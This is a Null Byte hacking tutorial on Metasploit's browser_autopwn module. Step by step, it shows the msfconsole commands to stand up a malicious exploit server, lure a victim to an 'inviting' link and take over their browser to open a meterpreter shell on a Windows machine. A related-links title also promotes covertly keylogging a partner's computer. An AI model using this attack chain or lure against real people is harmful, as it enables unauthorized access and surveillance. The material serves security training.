Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 7 (Autopwn) « Null Byte :: WonderHowTo

Welcome back, my novice hackers!In thiscontinuing series on Metasploit basics, let's next look at a module that many aspiring hackers find useful—autopwn.Generally, when we are trying to hack a target, we want to know as much as possible about the target throughreconnaissance. Then, and only then, can we choose an appropriate exploit. We should know the operating system, the applications, the browser, the version of Java and Flash, etc. It's tedious, but necessary work. Using a Java exploit when a Flash exploit is called for simply won't work and might land you behind bars.The beauty of autopwn is that it relieves you of some of thehard workof reconnaissance. Autopwn will first try to fingerprint the victim's browser, then "throw" at it whatever exploits it thinks might work. It makes life quite simple. The downside of autopwn is that it isverynoisy and can lead to either detection by the target or crashing the browser, which happens often.Let's take a look at it now.Step 1: Fire Up Kali & Open MetasploitLet's fire upKaliand startMetasploitwith the command:kali > msfconsoleStep 2: Use AutopwnTo get started with any exploit, generally we start with theusecommand. Since the autopwn module is located atauxiliary/server/browser_autopwn, we get started by typing:msf> use auxiliary/server/browser_autopwnThis will load the module. Then, to get more information on this module, let's type:msf > auxiliary(browser_autopwn) > infoAs you can see in the screenshots above and below, this provides us with all the information we need to get started, including each of the options and a brief description of the module.Step 3: Show and Set OptionsNext, like nearly all the Metasploit modules, we need to ask it to show us the options.msf > show optionsAs you can see, we need to set:LHOSTURIPATHThe LHOST is the local host. In other words , our Kali attack system. Since mine is at 192.168.1. 106, I type:msf > set LHOST 192.168.1.106Now we need to create a URIPATH. This is the URL that we want the exploits to be located at on our malicious server. We can call it anything we want or we could leave it blank and Metasploit will set it to a default string. Since we are trying to entice our victim to click on this link, let's try to make it inviting and use the name of our favorite hacker training site, Null Byte.msf > set URIPATH null_byteTo get started, that's all we need to set.Step 4: ExploitFinally, let's type exploit:msf > exploitThis will start the autopwn module. It starts numerous servers and then loads the exploits thatmaywork against that browser. Each one represents a different possible vulnerability in our browser. Be patient as this takes awhile.Notice in the middle of the above screenshot that it loaded 20 exploit modules.Step 5: Browse to the ServerNow from a Windows 7 system with Internet Explorer 9, when the target navigates to our webserver at192.168.1.106:8080/null_byte, they will get this warning from IE:Back on our Kali system, autopwn is fingerprinting the browser and trying to determine which of the exploits will work.Note in the middle of this screenshot that autopwn is "responding with 13 exploits." It will now begin trying each of those exploits against the browser with the hope that at least one will work.Step 6: Check Your SessionsFinally, let's go back to our Kali system and see whether any sessions have opened by typing:sessions -lWhen we do, Metasploit will list all our active sessions. Looks like I only have one.To connect to thatmeterpretersession, we simply type:sessions -i 1Where 1 is the ID of our session from the previous command. (See it to the far left column?) This will then connect me to my meterpreter connection that looks like this:meterpreter >This is my direct connection into the Windows 7 machine. When I type:meterpreter > shellit drops me into a Windows command prompt shell like below.Depending upon the browser and its configuration, you might get several meterpreter sessions, you might get one like I did, or you might get none. In the worst case, all of the exploits running against the browser can crash the browser.Although autopwn is a good Metasploit training tool, it is less than stealthy and often will overwhelm the browser with exploits and crash it. Keep coming back, my novice hackers, as we explore the inner workings my favorite hacking tool,Metasploit!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)SEToolkit:Metasploit's Best FriendHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitNews:What to Expect from Null Byte in 2015Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training